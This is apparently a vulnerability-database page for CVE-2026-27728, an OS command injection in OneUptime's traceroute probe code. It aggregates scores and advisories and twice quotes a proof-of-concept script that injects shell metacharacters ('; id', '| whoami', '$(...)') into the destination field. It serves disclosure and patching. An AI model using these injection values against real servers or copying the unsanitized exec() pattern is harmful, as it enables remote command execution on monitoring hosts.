CVE-2026-27728
OneUptime: OS Command Injection in Probe NetworkPathMonitor via unsanitized destination in traceroute exec()
OneUptime is a solution for monitoring and managing online services. Prior to version 10.0.7, an OS command injection vulnerability in NetworkPathMonitor.performTraceroute() allows any authenticated project user to execute arbitrary operating system commands on the Probe server by injecting shell metacharacters into a monitor's destination field. Version 10.0.7 fixes the vulnerability.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
10.0
OneUptime: OS Command Injection in Probe NetworkPathMonitor via unsanitized destination in traceroute exec()
OneUptime is a solution for monitoring and managing online services. Prior to version 10.0.7, an OS command injection vulnerability in NetworkPathMonitor.performTraceroute() allows any authenticated project user to execute arbitrary operating system commands on the Probe server by injecting shell metacharacters into a monitor's destination field. Version 10.0.7 fixes the vulnerability.
- Record
CVE-2026-27728- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
EUVDEUVD-2026-8684
10.0
OneUptime is a solution for monitoring and managing online services. Prior to version 10.0.7, an OS command injection vulnerability in NetworkPathMonitor.performTraceroute() allows any authenticated project user to execute arbitrary operating system commands on the Probe server by injecting shell metacharacters into a monitor's destination field. Version 10.0.7 fixes the vulnerability.
- Record
EUVD-2026-8684- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-jmhp-5558-qxh5
9.9
OneUptime: OS Command Injection in Probe NetworkPathMonitor via unsanitized destination in traceroute exec()
Summary
An OS command injection vulnerability in NetworkPathMonitor.performTraceroute() allows any authenticated project user to execute arbitrary operating system commands on the Probe server by injecting shell metacharacters into a monitor's destination field.
Details
The vulnerability exists in Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts, lines 149–191.
The performTraceroute() method constructs a shell command by directly interpolating the user-controlled destination parameter into a string template, then executes it via child_process.exec() (wrapped through promisify):
// Line 13 — exec imported from child_process
import { exec } from "child_process";
// Line 15-17 — promisified into execAsync
const execAsync = promisify(exec);
// Lines 149-191 — destination is never sanitized
private static async performTraceroute(
destination: string, // ← attacker-controlled
maxHops: number,
timeout: number,
): Promise<TraceRoute> {
// ...
let command: string;
if (isWindows) {
command = `tracert -h ${maxHops} -w ${...} ${destination}`;
} else if (isMac) {
command = `traceroute -m ${maxHops} -w 3 ${destination}`;
} else {
command = `traceroute -m ${maxHops} -w 3 ${destination}`;
}
const tracePromise = execAsync(command); // ← shell execution
The destination value originates from the public trace() method (line 31), which accepts URL | Hostname | IPv4 | IPv6 | string types. When a raw string is passed (line 47: hostAddress = destination), no validation or sanitization is performed before it reaches performTraceroute().
child_process.exec() spawns a shell (/bin/sh), so any shell metacharacters (;, |, $(), ` `, &&, ||, \n) in destination will be interpreted, allowing full command injection.
PoC
- poc.cjs
/**
* PoC: OS Command Injection in OneUptime NetworkPathMonitor
*
* Replicates the exact vulnerable code path from
* Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts:149-191
*/
const { exec } = require("child_process");
const { promisify } = require("util");
const execAsync = promisify(exec);
async function performTraceroute_VULNERABLE(destination, maxHops, timeout) {
const isMac = process.platform === "darwin";
const isWindows = process.platform === "win32";
let command;
if (isWindows) {
command = `tracert -h ${maxHops} -w ${Math.ceil(timeout / 1000) * 1000} ${destination}`;
} else if (isMac) {
command = `traceroute -m ${maxHops} -w 3 ${destination}`;
} else {
command = `traceroute -m ${maxHops} -w 3 ${destination}`;
}
console.log(`[VULN] Constructed command: ${command}`);
try {
const { stdout, stderr } = await execAsync(command);
return { stdout, stderr };
} catch (err) {
return { stdout: err.stdout || "", stderr: err.stderr || err.message };
}
}
async function runPoC() {
console.log("=== Payload 1: Semicolon chaining (;) ===");
console.log(" destination = '127.0.0.1; id'\n");
const r1 = await performTraceroute_VULNERABLE("127.0.0.1; id", 1, 5000);
console.log("[stdout]:", r1.stdout);
console.log("\n=== Payload 2: Pipe injection (|) ===");
console.log(" destination = '127.0.0.1 | whoami'\n");
const r2 = await performTraceroute_VULNERABLE("127.0.0.1 | whoami", 1, 5000);
console.log("[stdout]:", r2.stdout);
console.log("\n=== Payload 3: Subshell execution $() ===");
console.log(" destination = '127.0.0.1$(echo INJECTED)'\n");
const r3 = await performTraceroute_VULNERABLE("127.0.0.1$(echo INJECTED)", 1, 5000);
console.log("[stderr]:", r3.stderr);
}
runPoC().catch(console.error);
- Run the PoC:
node poc.cjs
- Expected output (confirmed on macOS with Node.js v25.2.1):
=== Payload 1: Semicolon chaining (;)…
- Record
GHSA-jmhp-5558-qxh5- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
NVD
9.9
OneUptime is a solution for monitoring and managing online services. Prior to version 10.0.7, an OS command injection vulnerability in NetworkPathMonitor.performTraceroute() allows any authenticated project user to execute arbitrary operating system commands on the Probe server by injecting shell metacharacters into a monitor's destination field. Version 10.0.7 fixes the vulnerability.
- Record
CVE-2026-27728- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
OSV
9.9
OneUptime: OS Command Injection in Probe NetworkPathMonitor via unsanitized destination in traceroute exec()
OneUptime is a solution for monitoring and managing online services. Prior to version 10.0.7, an OS command injection vulnerability in NetworkPathMonitor.performTraceroute() allows any authenticated project user to execute arbitrary operating system commands on the Probe server by injecting shell metacharacters into a monitor's destination field. Version 10.0.7 fixes the vulnerability.
- Record
CVE-2026-27728- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
OSVGHSA-jmhp-5558-qxh5
9.9
OneUptime: OS Command Injection in Probe NetworkPathMonitor via unsanitized destination in traceroute exec()
Summary
An OS command injection vulnerability in NetworkPathMonitor.performTraceroute() allows any authenticated project user to execute arbitrary operating system commands on the Probe server by injecting shell metacharacters into a monitor's destination field.
Details
The vulnerability exists in Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts, lines 149–191.
The performTraceroute() method constructs a shell command by directly interpolating the user-controlled destination parameter into a string template, then executes it via child_process.exec() (wrapped through promisify):
// Line 13 — exec imported from child_process
import { exec } from "child_process";
// Line 15-17 — promisified into execAsync
const execAsync = promisify(exec);
// Lines 149-191 — destination is never sanitized
private static async performTraceroute(
destination: string, // ← attacker-controlled
maxHops: number,
timeout: number,
): Promise<TraceRoute> {
// ...
let command: string;
if (isWindows) {
command = `tracert -h ${maxHops} -w ${...} ${destination}`;
} else if (isMac) {
command = `traceroute -m ${maxHops} -w 3 ${destination}`;
} else {
command = `traceroute -m ${maxHops} -w 3 ${destination}`;
}
const tracePromise = execAsync(command); // ← shell execution
The destination value originates from the public trace() method (line 31), which accepts URL | Hostname | IPv4 | IPv6 | string types. When a raw string is passed (line 47: hostAddress = destination), no validation or sanitization is performed before it reaches performTraceroute().
child_process.exec() spawns a shell (/bin/sh), so any shell metacharacters (;, |, $(), ` `, &&, ||, \n) in destination will be interpreted, allowing full command injection.
PoC
- poc.cjs
/**
* PoC: OS Command Injection in OneUptime NetworkPathMonitor
*
* Replicates the exact vulnerable code path from
* Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts:149-191
*/
const { exec } = require("child_process");
const { promisify } = require("util");
const execAsync = promisify(exec);
async function performTraceroute_VULNERABLE(destination, maxHops, timeout) {
const isMac = process.platform === "darwin";
const isWindows = process.platform === "win32";
let command;
if (isWindows) {
command = `tracert -h ${maxHops} -w ${Math.ceil(timeout / 1000) * 1000} ${destination}`;
} else if (isMac) {
command = `traceroute -m ${maxHops} -w 3 ${destination}`;
} else {
command = `traceroute -m ${maxHops} -w 3 ${destination}`;
}
console.log(`[VULN] Constructed command: ${command}`);
try {
const { stdout, stderr } = await execAsync(command);
return { stdout, stderr };
} catch (err) {
return { stdout: err.stdout || "", stderr: err.stderr || err.message };
}
}
async function runPoC() {
console.log("=== Payload 1: Semicolon chaining (;) ===");
console.log(" destination = '127.0.0.1; id'\n");
const r1 = await performTraceroute_VULNERABLE("127.0.0.1; id", 1, 5000);
console.log("[stdout]:", r1.stdout);
console.log("\n=== Payload 2: Pipe injection (|) ===");
console.log(" destination = '127.0.0.1 | whoami'\n");
const r2 = await performTraceroute_VULNERABLE("127.0.0.1 | whoami", 1, 5000);
console.log("[stdout]:", r2.stdout);
console.log("\n=== Payload 3: Subshell execution $() ===");
console.log(" destination = '127.0.0.1$(echo INJECTED)'\n");
const r3 = await performTraceroute_VULNERABLE("127.0.0.1$(echo INJECTED)", 1, 5000);
console.log("[stderr]:", r3.stderr);
}
runPoC().catch(console.error);
- Run the PoC:
node poc.cjs
- Expected output (confirmed on macOS with Node.js v25.2.1):
=== Payload 1: Semicolon chaining (;)…
- Record
GHSA-jmhp-5558-qxh5- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@oneuptime/commonnpm |
before 10.0.7 | 10.0.7 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-27728 is a critical vulnerability (CVSS 10.0) in Hackerbay Oneuptime, published February 25, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.97%, the 80th percentile. Fixed in @oneuptime/common 10.0.7.
References
github.com/OneUptime/oneuptime/security/advisories/GHSA-jmhp-5558-qxh5
github.com/OneUptime/oneuptime/commit/f2cce35a04fac756cecc7a4c55e23758b99288c1
nvd.nist.gov/vuln/detail/CVE-2026-27728
github.com/advisories/GHSA-jmhp-5558-qxh5
github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27728.json
github.com/OneUptime/oneuptime
Left out here: the rest of 2 source descriptions. The JSON record has them.